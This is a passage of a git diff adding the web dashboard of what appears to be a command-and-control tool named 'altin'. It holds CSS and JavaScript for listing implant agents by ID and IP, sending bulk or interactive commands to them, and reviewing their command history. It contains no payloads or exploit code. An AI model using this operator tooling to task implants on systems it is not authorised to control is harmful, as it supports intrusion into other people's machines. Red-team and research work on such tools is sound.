justify-content: space-between; +} + +.metric-label { + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.1em; + font-size: 0.82rem; +} + +.metric-value { + margin-top: 0.35rem; + font-size: clamp(2.4rem, 4vw, 3.4rem); + font-weight: 800; + line-height: 1; +} + +.metric-note { + margin-top: auto; + color: var(--text-muted); + font-size: 0.95rem; + line-height: 1.5; +} + +.dashboard-grid { + display: grid; + grid-template-columns: minmax(0, 1.15fr) minmax(320px, 0.85fr); + gap: 1rem; + align-items: start; +} + +.panel { + padding: 1rem; + border: 1px solid var(--border-main); + background: var(--bg-panel); +} + +.panel-header { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; + margin-bottom: 1rem; +} + +.panel-title { + font-size: 1rem; + text-transform: uppercase; + letter-spacing: 0.1em; +} + +.panel-subtitle { + color: var(--text-muted); + font-size: 0.9rem; +} + +.chart-wrap { + display: grid; + grid-template-columns: minmax(240px, 260px) minmax(0, 1fr); + gap: 1rem; + align-items: center; +} + +.chart-box { + position: relative; + aspect-ratio: 1; + padding: 0.65rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); +} + +.chart-box canvas { + width: 100%; + height: 100%; +} + +.chart-center { + position: absolute; + inset: 50% auto auto 50%; + transform: translate(-50%, -50%); + text-align: center; + pointer-events: none; +} + +.chart-center strong { + display: block; + font-size: 1.6rem; +} + +.chart-center span { + color: var(--text-muted); + font-size: 0.75rem; + text-transform: uppercase; + letter-spacing: 0.12em; +} + +.legend-list { + display: grid; + gap: 0.6rem; +} + +.legend-item { + display: flex; + align-items: center; + justify-content: space-between; + gap: 0.75rem; + padding: 0.75rem 0.85rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); +} + +.legend-key { + display: flex; + align-items: center; + gap: 0.65rem; + min-width: 0; +} + +.legend-swatch { + width: 12px; + height: 12px; + border: 1px solid var(--overlay-border); + flex: 0 0 auto; +} + +.legend-name { + font-size: 0.9rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.legend-count { + color: var(--text-muted); + font-size: 0.9rem; +} + +.recent-list { + display: grid; + gap: 0.65rem; +} + +.recent-item { + padding: 0.85rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + display: grid; + gap: 0.35rem; +} + +.recent-topline { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; +} + +.recent-strong { + font-weight: 700; + word-break: break-word; +} + +.recent-meta { + color: var(--text-muted); + font-size: 0.88rem; + display: flex; + flex-wrap: wrap; + gap: 0.5rem; +} + +.recent-meta span { + padding: 0.2rem 0.45rem; + border: 1px solid var(--border-main); + background: var(--overlay-subtle); +} + +.empty-state { + padding: 1rem; + border: 1px dashed var(--border-main); + color: var(--text-muted); + line-height: 1.6; + background: var(--overlay-subtle); +} + +.agents-toolbar { + display: grid; + gap: 1rem; +} + +.keys-filter-grid { + grid-template-columns: minmax(0, 1fr) minmax(240px, 0.45fr); +} + +.keys-summary { + min-height: 100%; +} + +.filter-grid { + display: grid; + grid-template-columns: minmax(0, 1.5fr) repeat(2, minmax(0, 1fr)); + gap: 0.9rem; +} + +.selection-bar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; + padding: 0.85rem 0.95rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); +} + +.selection-label { + display: block; + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.08em; + font-size: 0.72rem; +} + +.selection-count { + margin-top: 0.3rem; + font-size: 0.95rem; +} + +/* Three actions now live here (select filtered, clear, bulk task), so the bar + allows wrapping instead of forcing them onto one overfull row. */ +.selection-actions { + display: flex; + flex-wrap: wrap; + align-items: center; + justify-content: flex-end; + gap: 0.5rem; +} + +.selection-chips { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + min-height: 2.1rem; +} + +.selection-chips.compact { + min-height: 1.5rem; +} + +.selection-chip { + display: inline-flex; + align-items: center; + gap: 0.35rem; + padding: 0.35rem 0.55rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + color: var(--text-main); + font-size: 0.84rem; +} + +.selection-chip button { + background: transparent; + color: var(--text-muted); + line-height: 1; +} + +.table-wrap { + overflow: auto; +} + +.data-table { + width: 100%; + border-collapse: collapse; + min-width: 920px; +} + +.data-table th, +.data-table td { + padding: 0.45rem 0.8rem; + border-bottom: 1px solid var(--border-main); + text-align: left; + vertical-align: top; +} + +.data-table th { + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.1em; + font-size: 0.74rem; + font-weight: 600; +} + +.data-table tbody tr:hover { + background: var(--overlay-subtle); +} + +.table-check { + width: 40px; +} + +.agent-meta { + display: grid; + gap: 0.25rem; +} + +.agent-ip { + font-weight: 700; +} + +.agent-id, +.agent-command-list, +.agent-tags, +.agent-checkin { + color: var(--text-muted); + font-size: 0.9rem; +} + +.agent-command-list, +.agent-tags { + display: flex; + flex-wrap: wrap; + gap: 0.35rem; +} + +.mini-chip { + padding: 0.2rem 0.45rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + font-size: 0.8rem; + color: var(--text-main); +} + +.mini-chip.muted { + color: var(--text-muted); +} + +.row-checkbox { + width: 16px; + height: 16px; + accent-color: var(--accent); +} + +.modal-backdrop { + position: fixed; + inset: 0; + display: none; + align-items: center; + justify-content: center; + padding: 1.5rem; + background: var(--overlay-modal); + backdrop-filter: blur(4px); + z-index: 20; +} + +.modal-backdrop.is-open { + display: flex; +} + +.modal-card { + width: min(100%, 920px); + max-height: min(92vh, 860px); + overflow: auto; + padding: 1rem; +} + +.modal-header { + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 1rem; + margin-bottom: 1rem; +} + +.modal-header h2 { + font-size: 1.1rem; + text-transform: uppercase; + letter-spacing: 0.1em; +} + +.modal-header p, +.modal-note, +.modal-message { + color: var(--text-muted); + line-height: 1.55; +} + +.modal-layout { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 1rem; +} + +.modal-layout.single-column { + grid-template-columns: 1fr; +} + +.modal-panel { + padding: 0.95rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + display: grid; + gap: 0.85rem; +} + +/* The dialog reuses .selection-label / .selection-count / .selection-chips so the + targets look identical to the selection bar above the table. The chips carry no + remove button - selection is the table's job, and a second editor here is what + let the dialog and the table disagree. They wrap rather than scroll, so with a + large selection the panel grows instead of hiding agents behind a scrollbar. */ +#bulkTargetChips { + margin-top: 0.5rem; + max-height: 14rem; + overflow-y: auto; +} + +/* ------------------------------------------------------------------ * + * Delete-agent confirmation + * ------------------------------------------------------------------ */ +.delete-card { + max-width: 34rem; +} + +/* The identity of the thing about to be destroyed, so there is no way to + confirm the wrong row. */ +.delete-target { + display: grid; + grid-template-columns: auto minmax(0, 1fr); + gap: 0.35rem 1rem; + margin: 0; + padding: 0.75rem 0.9rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + font-size: 0.9rem; + line-height: 1.5; +} + +.delete-target dt { + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.08em; + font-size: 0.72rem; + align-self: center; +} + +.delete-target dd { + margin: 0; + color: var(--text-main); + overflow-wrap: anywhere; +} + +.delete-warning { + margin-top: 0.85rem; + padding: 0.7rem 0.85rem; + border: 1px solid var(--danger); + background: color-mix(in srgb, var(--danger) 12%, transparent); + color: var(--text-main); + font-size: 0.86rem; + line-height: 1.55; +} + +.button-danger { + background: var(--danger); + color: #fff; +} + +.modal-command-panel { + align-content: start; +} + +.modal-actions-inline { + display: flex; + flex-wrap: wrap; + gap: 0.65rem; + align-items: center; +} + +.modal-footer { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; + margin-top: 1rem; +} + +.modal-message { + min-height: 1.4rem; +} + +.modal-message[data-tone="success"] { + color: var(--success); +} + +.modal-message[data-tone="error"] { + color: var(--danger); +} + +.table-actions { + display: flex; + flex-wrap: wrap; + gap: 0.45rem; +} + +.table-actions .button, +.table-actions .button-secondary, +.table-actions .icon-button { + min-height: 36px; + padding: 0.45rem 0.75rem; +} + +.key-mask, +.user-chip, +.admin-chip { + display: inline-flex; + align-items: center; + padding: 0.25rem 0.5rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + font-size: 0.82rem; +} + +.key-mask.revealed { + word-break: break-all; +} + +.admin-chip { + color: var(--accent); +} + +.arg-list { + display: grid; + gap: 0.75rem; +} + +.arg-item { + display: grid; + gap: 0.35rem; +} + +.arg-help { + color: var(--text-muted); + font-size: 0.82rem; +} + +/* Agent interaction console */ +/* The interaction console is a working surface, so it takes the room it can get + rather than sitting in a 1080px card with a fixed-height log. */ +#interactModal { + padding: 0.75rem; +} + +.modal-card-wide { + width: 100%; + max-width: none; + max-height: none; + height: 100%; + display: flex; + flex-direction: column; + padding: 1.25rem; +} + +.console-status-bar { + flex: 0 0 auto; + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 0.75rem; + padding: 0.6rem 0.75rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + margin-bottom: 0.85rem; +} + +.console-agent-chip { + font-weight: 700; + letter-spacing: 0.04em; +} + +.console-hint { + color: var(--text-muted); + font-size: 0.85rem; + line-height: 1.5; + margin-left: auto; + text-align: right; +} + +/* The base .modal-header / .modal-footer rules are shared with the other modals, + so the flex behaviour is scoped to the interact card instead of changed globally. + flex:0 0 auto keeps the chrome at its natural height and lets the log take the + slack; flex-shrink:0 stops the footer buttons being squashed on short viewports. */ +#interactModal .modal-header, +#interactModal .modal-footer, +#interactModal .console-status-bar, +#interactModal .console-composer { + flex: 0 0 auto; +} + +#interactModal .modal-header { + margin-bottom: 0.85rem; +} + +#interactModal .modal-footer { + margin-top: 0.85rem; +} + +#interactModal .modal-title-row { + min-width: 0; +} + +/* flex:1 + min-height:0 is what lets the log actually absorb the spare height. + Without min-height:0 a flex child refuses to shrink below its content and the + card overflows instead of scrolling the log. */ +.console-log { + flex: 1 1 auto; + min-height: 140px; + overflow-y: auto; + padding: 0.75rem; + border: 1px solid var(--border-main); + background: var(--bg-main); + display: flex; + flex-direction: column; + gap: 0.6rem; +} + +.console-entry { + border: 1px solid var(--border-main); + background: var(--bg-panel); +} + +.console-cmd { + display: flex; + align-items: baseline; + flex-wrap: wrap; + gap: 0.45rem; + padding: 0.5rem 0.65rem; + border-bottom: 1px solid var(--border-main); + background: var(--bg-panel-2); +} + +.console-prompt { + color: var(--accent); + font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace; + font-size: 0.85rem; +} + +.console-cmd-name { + font-weight: 700; + font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace; + font-size: 0.9rem; +} + +.console-cmd-args { + color: var(--text-main); + font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace; + font-size: 0.88rem; + word-break: break-word; + min-width: 0; +} + +.console-state { + margin-left: auto; + padding: 0.15rem 0.45rem; + border: 1px solid var(--border-main); + font-size: 0.72rem; + letter-spacing: 0.08em; + text-transform: uppercase; + color: var(--text-muted); + white-space: nowrap; +} + +.console-state[data-state="done"] { + color: var(--success); + border-color: var(--success); +} + +.console-state[data-state="timeout"], +.console-state[data-state="error"] { + color: var(--danger); + border-color: var(--danger); +} + +.console-state[data-state="sent"] { + color: var(--accent); + border-color: var(--accent); +} + +.console-output { + margin: 0; + padding: 0.65rem 0.7rem; + color: var(--text-main); + font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace; + font-size: 0.85rem; + line-height: 1.55; + white-space: pre-wrap; + word-break: break-word; + max-height: 260px; + overflow: auto; +} + +.console-output:empty { + display: none; +} + +.console-note { + padding: 0.5rem 0.7rem; + color: var(--text-muted); + font-size: 0.85rem; + line-height: 1.5; + border-top: 1px dashed var(--border-main); +} + +.console-composer { + flex: 0 0 auto; + margin-top: 0.85rem; + padding: 0.85rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + display: grid; + gap: 0.8rem; +} + +.console-command-row { + display: grid; + grid-template-columns: minmax(0, 260px) minmax(0, 1fr); + gap: 0.85rem; + align-items: end; +} + +.console-command-help { + color: var(--text-muted); + font-size: 0.85rem; + line-height: 1.5; + padding-bottom: 0.4rem; +} + +tr[data-agent-id] { + cursor: pointer; +} + +tr[data-agent-id]:hover { + background: var(--overlay-accent); +} + +/* Target the button, not the cell. Styling the actions painted the whole + cell - including its 1px bottom border - which is what made the row look + broken on hover. */ +tr[data-agent-id]:hover .agent-interact, +tr[data-agent-id]:hover .agent-history, +tr[data-agent-id]:hover .agent-delete { + background: var(--accent); + border-color: var(--accent); + color: #111; +} + +/* Keyboard users tabbing to a row need to see where they are. */ +tr[data-agent-id]:focus-visible { + outline: 2px solid var(--accent); + outline-offset: -2px; +} + +.table-hint { + margin: 0 0 0.85rem; + color: var(--text-muted); + font-size: 0.9rem; + line-height: 1.5; +} + +.table-hint strong { + color: var(--text-main); +} + +/* The per-row actions cell. Renamed from .table-interact: the column holds two + different buttons now, so the old name no longer described it. */ +.table-actions-cell { + white-space: nowrap; + width: 1%; +} + +/* Keep both actions on ONE line so every row stays a single height. + .table-actions defaults to flex-wrap:wrap, which lets this cell fall back to + its min-content width - one button - and stack the pair, doubling the row + height. nowrap makes the cell demand the sum of both buttons instead, and + .table-wrap (overflow:auto) turns any excess into a horizontal scrollbar + rather than clipped or overlapping content. + Deliberately NOT applied to .table-actions globally: the keys table puts four + buttons in one cell and should keep the freedom to wrap. */ +.table-actions-cell .table-actions { + flex-wrap: nowrap; +} + +/* Belt and braces - with wrapping off, a squeezed cell would otherwise shrink + the buttons below their label width instead of widening the column. */ +.table-actions-cell .table-actions > * { + flex: 0 0 auto; +} + +/* Sizing comes from the shared .table-actions rules, exactly as the keys/users + tables do - no local metric overrides, so it matches every other in-row button. */ +.agent-interact, +.agent-history, +.agent-delete { + white-space: nowrap; +} + +/* ------------------------------------------------------------------ * + * Command history modal + * + * Same full-height working surface as the interact console: the header, + * toolbar and footer keep their natural height and the list absorbs the + * slack, so the modal fills the screen instead of scrolling the page. + * ------------------------------------------------------------------ */ +#historyModal { + padding: 0.75rem; +} + +#historyModal .modal-header, +#historyModal .modal-footer, +#historyModal .history-toolbar { + flex: 0 0 auto; +} + +#historyModal .modal-header { + margin-bottom: 0.85rem; +} + +#historyModal .modal-footer { + margin-top: 0.85rem; +} + +#historyModal .modal-title-row { + min-width: 0; +} + +.history-toolbar { + display: flex; + align-items: flex-end; + gap: 1rem; + margin-bottom: 0.85rem; + flex-wrap: wrap; +} + +.history-search { + flex: 1 1 18rem; + min-width: 0; +} + +.history-summary { + color: var(--text-muted); + font-size: 0.85rem; + white-space: nowrap; + padding-bottom: 0.55rem; +} + +/* flex:1 + min-height:0 lets the list absorb spare height and scroll + internally rather than letting the card overflow. */ +.history-list { + flex: 1 1 auto; + min-height: 140px; + overflow-y: auto; + display: flex; + flex-direction: column; + gap: 0.5rem; + padding: 0.75rem; + border: 1px solid var(--border-main); + background: var(--bg-main); +} + +.history-entry { + border: 1px solid var(--border-main); + background: var(--bg-panel); +} + +.history-entry-head { + display: flex; + align-items: center; + gap: 0.55rem; + width: 100%; + padding: 0.55rem 0.7rem; + background: var(--bg-panel-2); + border: 0; + color: inherit; + font: inherit; + text-align: left; + cursor: pointer; +} + +.history-entry-head:hover { + background: var(--bg-muted); +} + +.history-entry-head:focus-visible { + outline: 2px solid var(--accent); + outline-offset: -2px; +} + +/* The caret is decorative - the expanded state is announced by + aria-expanded on the button, so it is hidden from screen readers. */ +.history-caret { + flex: 0 0 auto; + color: var(--text-muted); + font-size: 0.7rem; + line-height: 1; + transition: transform 0.15s ease; +} + +.history-entry-head[aria-expanded="true"] .history-caret { + transform: rotate(90deg); +} + +.history-command { + font-weight: 600; + color: var(--text-main); +} + +.history-args { + color: var(--text-muted); + font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace; + font-size: 0.82rem; + overflow-wrap: anywhere; +} + +.history-time { + margin-left: auto; + color: var(--text-muted); + font-size: 0.78rem; + white-space: nowrap; +} + +.history-body { + padding: 0.65rem 0.7rem; + border-top: 1px solid var(--border-main); +} + +.history-body .console-output { + border: 1px solid var(--border-main); + background: var(--bg-main); +} + +.history-pending { + color: var(--text-muted); + font-size: 0.85rem; + font-style: italic; + margin: 0; +} + +@media (max-width: 1120px) { + .history-toolbar { + align-items: stretch; + } + + .history-summary { + padding-bottom: 0; + } +} + +@media (max-width: 1120px) { + .console-command-row { + grid-template-columns: 1fr; + } +} + +@media (max-width: 1120px) { + .app-layout { + grid-template-columns: 220px minmax(0, 1fr); + } + + .metric-grid { + grid-template-columns: repeat(2, minmax(0, 1fr)); + } + + .dashboard-grid { + grid-template-columns: 1fr; + } + + .filter-grid, + .modal-layout { + grid-template-columns: 1fr; + } +} + +@media (max-width: 820px) { + .app-layout { + grid-template-columns: 1fr; + } + + .sidebar { + position: static; + height: auto; + } + + .topbar { + flex-direction: column; + } + + .chart-wrap { + grid-template-columns: 1fr; + } + + .selection-bar, + .modal-footer { + flex-direction: column; + align-items: stretch; + } +} diff --git a/webui/assets/css/login.css b/webui/assets/css/login.css new file mode 100644 index 0000000..6c9ce19 --- /dev/null +++ b/webui/assets/css/login.css @@ -0,0 +1,126 @@ +.login-page { + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + padding: 2rem; +} + +.login-shell { + width: min(100%, 520px); + margin: 0 auto; + display: grid; + grid-template-columns: 1fr; + gap: 1.5rem; + align-items: stretch; +} + +.login-panel { + border: 1px solid var(--border-main); + background: linear-gradient(180deg, var(--overlay-subtle), transparent), var(--bg-panel); + box-shadow: var(--shadow); +} + +.login-copy { + color: var(--text-muted); + line-height: 1.7; +} + +.login-copy-compact { + margin-top: -0.25rem; +} + +.login-panel { + padding: 1.5rem; + display: flex; + flex-direction: column; + gap: 1rem; + border-top: 3px solid var(--border-strong); +} + +.login-panel-header { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; +} + +.login-card-logo { + color: var(--accent); + font-size: 1.9rem; + font-weight: 800; + letter-spacing: 0.18em; + text-transform: uppercase; +} + +.theme-toggle { + min-width: 44px; + padding-inline: 0.75rem; +} + +.login-form { + display: grid; + gap: 1rem; +} + +.login-saved { + display: grid; + gap: 0.4rem; +} + +.login-actions { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; +} + +.login-option { + display: flex; + align-items: center; + gap: 0.6rem; + color: var(--text-muted); + font-size: 0.92rem; +} + +.login-option input { + width: 16px; + height: 16px; + accent-color: var(--accent); +} + +.login-message { + min-height: 1.4rem; + color: var(--text-muted); + font-size: 0.93rem; +} + +.login-message[data-tone="success"] { + color: var(--success); +} + +.login-message[data-tone="error"] { + color: var(--danger); +} + +.login-preview { + margin-top: auto; + padding-top: 1rem; + border-top: 1px solid var(--border-main); + color: var(--text-muted); + display: grid; + gap: 0.5rem; +} + +.login-preview code { + padding: 0.2rem 0.4rem; + border: 1px solid var(--border-main); + background: var(--bg-muted); + color: var(--text-main); +} + +@media (max-width: 940px) { + .login-shell { + grid-template-columns: 1fr; + } +} \ No newline at end of file diff --git a/webui/assets/css/main.css b/webui/assets/css/main.css new file mode 100644 index 0000000..c111cea --- /dev/null +++ b/webui/assets/css/main.css @@ -0,0 +1,176 @@ +:root { + color-scheme: dark; + --bg-main: #0b0b0d; + --bg-panel: #131316; + --bg-panel-2: #191a1f; + --bg-muted: #1e2026; + --border-main: #2a2721; + --border-strong: #3a3324; + --text-main: #f3f0e8; + --text-muted: #a7a39b; + --accent: #d4af37; + --accent-strong: #e2c15b; + --danger: #be3737; + --success: #7ccf9c; + --shadow: 0 18px 48px rgba(0, 0, 0, 0.45); + --overlay-subtle: rgba(255, 255, 255, 0.02); + --overlay-border: rgba(255, 255, 255, 0.18); + --overlay-accent: rgba(212, 175, 55, 0.08); + --overlay-modal: rgba(0, 0, 0, 0.72); +} + +:root[data-theme="light"] { + color-scheme: light; + --bg-main: #f3f0ea; + --bg-panel: #ffffff; + --bg-panel-2: #f6f2eb; + --bg-muted: #ebe6dc; + --border-main: #d7d0c2; + --border-strong: #bcae8b; + --text-main: #171717; + --text-muted: #5f5c57; + --accent: #d4af37; + --accent-strong: #e2c15b; + --danger: #a94f4f; + --success: #3d8453; + --shadow: 0 18px 40px rgba(23, 23, 23, 0.12); + --overlay-subtle: rgba(0, 0, 0, 0.02); + --overlay-border: rgba(0, 0, 0, 0.12); + --overlay-accent: rgba(183, 138, 16, 0.08); + --overlay-modal: rgba(23, 23, 23, 0.68); +} + +* { + box-sizing: border-box; + margin: 0; + padding: 0; +} + +html, body { + min-height: 100%; +} + +body { + background: + radial-gradient(circle at top left, rgba(212, 175, 55, 0.08), transparent 24%), + linear-gradient(180deg, var(--bg-main), var(--bg-main)); + color: var(--text-main); + font-family: Inter, Segoe UI, Arial, sans-serif; +} + +a { + color: inherit; + text-decoration: none; +} + +button, +input, +select, +textarea { + font: inherit; +} + +button { + border: 0; + cursor: pointer; +} + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + border: 0; +} + +.hidden { + display: none !important; +} + +.icon-button, +.button, +.button-secondary { + display: inline-flex; + align-items: center; + justify-content: center; + gap: 0.5rem; + min-height: 42px; + padding: 0.65rem 1rem; + border-radius: 0; + border: 1px solid transparent; + transition: transform 120ms ease, border-color 120ms ease, background-color 120ms ease, color 120ms ease; +} + +.button { + background: var(--accent); + color: #111; + border-color: rgba(255, 255, 255, 0.08); + font-weight: 700; + letter-spacing: 0.02em; +} + +.button-secondary, +.icon-button { + background: var(--bg-panel-2); + color: var(--text-main); + border-color: var(--border-main); +} + +.sidebar-footer .button-secondary { + min-height: 32px; + padding: 0.35rem 0.75rem; + font-size: 0.9rem; +} + +.input, +.select, +textarea { + width: 100%; + min-height: 42px; + padding: 0.7rem 0.9rem; + border: 1px solid var(--border-main); + background: var(--bg-panel); + color: var(--text-main); + outline: none; + border-radius: 0; +} + +.input:focus, +.select:focus, +textarea:focus { + border-color: var(--accent); + box-shadow: 0 0 0 1px rgba(212, 175, 55, 0.25); +} + +.field-label { + display: block; + margin-bottom: 0.35rem; + font-size: 0.82rem; + letter-spacing: 0.08em; + text-transform: uppercase; + color: var(--text-muted); +} + +.card { + background: var(--bg-panel); + border: 1px solid var(--border-main); + box-shadow: var(--shadow); +} + +.status-chip { + display: inline-flex; + align-items: center; + gap: 0.4rem; + padding: 0.3rem 0.6rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + color: var(--text-muted); + font-size: 0.8rem; + text-transform: uppercase; + letter-spacing: 0.08em; +} + diff --git a/webui/assets/js/agents.js b/webui/assets/js/agents.js new file mode 100644 index 0000000..20c99e0 --- /dev/null +++ b/webui/assets/js/agents.js @@ -0,0 +1,1421 @@ +(() => { + const STORAGE_KEYS = { + theme: 'altin.theme', + token: 'altin.token', + serverUrl: 'altin.serverUrl', + }; + + const state = { + serverUrl: '', + token: '', + agents: [], + filteredAgents: [], + // One selection, owned by the table checkboxes. The bulk-task dialog is a + // read-only view of it - a second selection set inside the dialog let the + // dialog and the table disagree about who was about to be commanded. + selectedIds: new Set(), + filters: { + search: '', + implant: 'all', + os: 'all', + }, + bulkCommand: '', + interactCommand: '', + }; + + const els = {}; + + const normalizeServer = (value) => value.trim().replace(/\/+$/, ''); + + const escapeHTML = (value) => String(value ?? '') + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + + const labelFor = (agent) => `${agent.implant_id}@${agent.ip}`; + + // The selected agents, in the order the table shows them, resolved against the + // current agent list so a stale id cannot survive a refresh. + const selectedAgents = () => state.agents.filter((agent) => state.selectedIds.has(agent.id)); + + const setTheme = (theme) => { + const nextTheme = theme === 'light' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', nextTheme); + localStorage.setItem(STORAGE_KEYS.theme, nextTheme); + if (els.themeToggle) { + els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark'; + els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`); + } + }; + + const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark'; + + const redirectToLogin = () => { + window.location.href = '/login.html'; + }; + + const requireAuth = () => { + const token = localStorage.getItem(STORAGE_KEYS.token); + const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl); + + if (!token || !serverUrl) { + redirectToLogin(); + return false; + } + + state.token = token; + state.serverUrl = normalizeServer(serverUrl); + return true; + }; + + const apiFetch = async (path, options = {}) => { + const headers = new Headers(options.headers || {}); + headers.set('Authorization', state.token); + + if (options.body && !headers.has('Content-Type')) { + headers.set('Content-Type', 'application/json'); + } + + const response = await fetch(`${state.serverUrl}${path}`, { + ...options, + headers, + }); + + if (response.status === 401) { + redirectToLogin(); + throw new Error('Unauthorized'); + } + + return response; + }; + + const loadJSON = async (path) => { + const response = await apiFetch(path); + const payload = await response.json().catch(() => ({})); + if (!response.ok) { + throw new Error(payload.message || `Request failed for ${path}`); + } + return payload; + }; + + const setMessage = (message, tone = '') => { + if (!els.bulkTaskMessage) return; + els.bulkTaskMessage.textContent = message; + els.bulkTaskMessage.dataset.tone = tone; + }; + + // Page-level failures, shown under the page title. This is deliberately not + // setMessage: that writes into the bulk task modal's message area, which is + // hidden unless the dialog is open, so a failed load used to report its + // reason into a dialog nobody could see. Matches the #pageError used on + // index.html. + const setError = (message) => { + if (!els.pageError) return; + els.pageError.textContent = message; + }; + + // See the identical helper in app.js: the server labels naive local timestamps as + // GMT, so a bare GMT/UTC label is re-read as local time instead of as UTC. + const parseServerTime = (value) => { + if (!value) return NaN; + if (typeof value === 'number') return value; + if (/^\d{10,}$/.test(String(value).trim())) return Number(value); + + const text = String(value).trim(); + + if (/[+-]\d{2}:?\d{2}$/.test(text) || /Z$/i.test(text)) { + return new Date(text).getTime(); + } + + const iso = text.match(/^(?:[A-Za-z]{3},?\s*)?(\d{4})-(\d{2})-(\d{2})[T ](\d{2}):(\d{2}):(\d{2})/); + if (iso) { + return new Date(+iso[1], +iso[2] - 1, +iso[3], +iso[4], +iso[5], +iso[6]).getTime(); + } + + const rfc = text.match(/^[A-Za-z]{3},?\s*(\d{1,2})\s+([A-Za-z]{3})\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})/); + if (rfc) { + const months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec']; + const month = months.indexOf(rfc[2].toLowerCase()); + if (month >= 0) { + return new Date(+rfc[3], month, +rfc[1], +rfc[4], +rfc[5], +rfc[6]).getTime(); + } + } + + return new Date(text).getTime(); + }; + + const formatTimeAgo = (value) => { + const time = parseServerTime(value); + if (!Number.isFinite(time)) return 'unknown'; + + const delta = Math.max(0, Date.now() - time); + const minutes = Math.floor(delta / 60000); + const hours = Math.floor(minutes / 60); + const days = Math.floor(hours / 24); + + if (days > 0) return `${days}d ago`; + if (hours > 0) return `${hours}h ago`; + if (minutes > 0) return `${minutes}m ago`; + return 'just now'; + }; + + const getCommands = (agent) => Array.isArray(agent.commands) ? agent.commands : []; + + // --- Agent interaction console ----------------------------------------- + // The management API creates tasks without returning their id, so a task we just + // queued has to be identified by diffing the agent's task list around the POST. + // Once it reports a result the task flips to completed, and the output is read back + // from /api/task-results. + const POLL_INTERVAL_MS = 2000; + const TASK_TIMEOUT_MS = 90000; + + const console_ = { + agentId: null, + agent: null, + entries: [], + knownTaskIds: new Set(), + seq: 0, + open: false, + sending: false, + }; + + // Command history is a read-only view of what has already been run against an + // agent. Entries start collapsed and are remembered by task id, so re-rendering + // after a filter change or a refresh does not snap everything shut again. + const history_ = { + agentId: null, + agent: null, + entries: [], + expanded: new Set(), + filter: '', + open: false, + }; + + const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + + const interactMessage = (message, tone = '') => { + if (!els.interactMessage) return; + els.interactMessage.textContent = message; + els.interactMessage.dataset.tone = tone; + }; + + // Show what was actually sent, preserving JSON types so the transcript reads like + // the request body (setsleep 30 5, not "30" "5"). + const formatArgs = (args) => (args || []) + .map((value) => (typeof value === 'string' ? value : JSON.stringify(value))) + .join(' '); + + const renderInteractLog = () => { + if (!els.interactLog) return; + + if (!console_.entries.length) { + els.interactLog.innerHTML = '
No commands sent to this agent yet.
'; + return; + } + + const wasPinned = els.interactLog.scrollHeight - els.interactLog.scrollTop - els.interactLog.clientHeight < 40; + + els.interactLog.innerHTML = console_.entries.map((entry) => { + const output = (entry.outputs || []).map((result) => + `
${escapeHTML(result.result ?? '')}
` + ).join(''); + + return ` +
+
+ ${escapeHTML(console_.agent ? `${console_.agent.implant_id}@${console_.agent.ip}` : 'altin')} > + ${escapeHTML(entry.command)} + ${entry.argsText ? `${escapeHTML(entry.argsText)}` : ''} + ${entry.state} +
+ ${output} + ${entry.note ? `
${escapeHTML(entry.note)}
` : ''} +
+ `; + }).join(''); + + if (wasPinned) { + els.interactLog.scrollTop = els.interactLog.scrollHeight; + } + }; + + const renderInteractCommand = () => { + const commands = getCommands(console_.agent); + const selected = commands.find((command) => command.command === state.interactCommand); + + els.interactCommandHelp.textContent = selected?.description || 'This agent declares no commands.'; + + if (!commands.length) { + els.interactArgsContainer.innerHTML = '
This agent exposes no commands.
'; + return; + } + + const args = selected?.args || []; + els.interactArgsContainer.innerHTML = args.length + ? `
${args.map((arg, index) => ` +
+ + +
${escapeHTML([arg.description, arg.arg_type].filter(Boolean).join(' · '))}
+
`).join('')}
` + : '
This command takes no arguments.
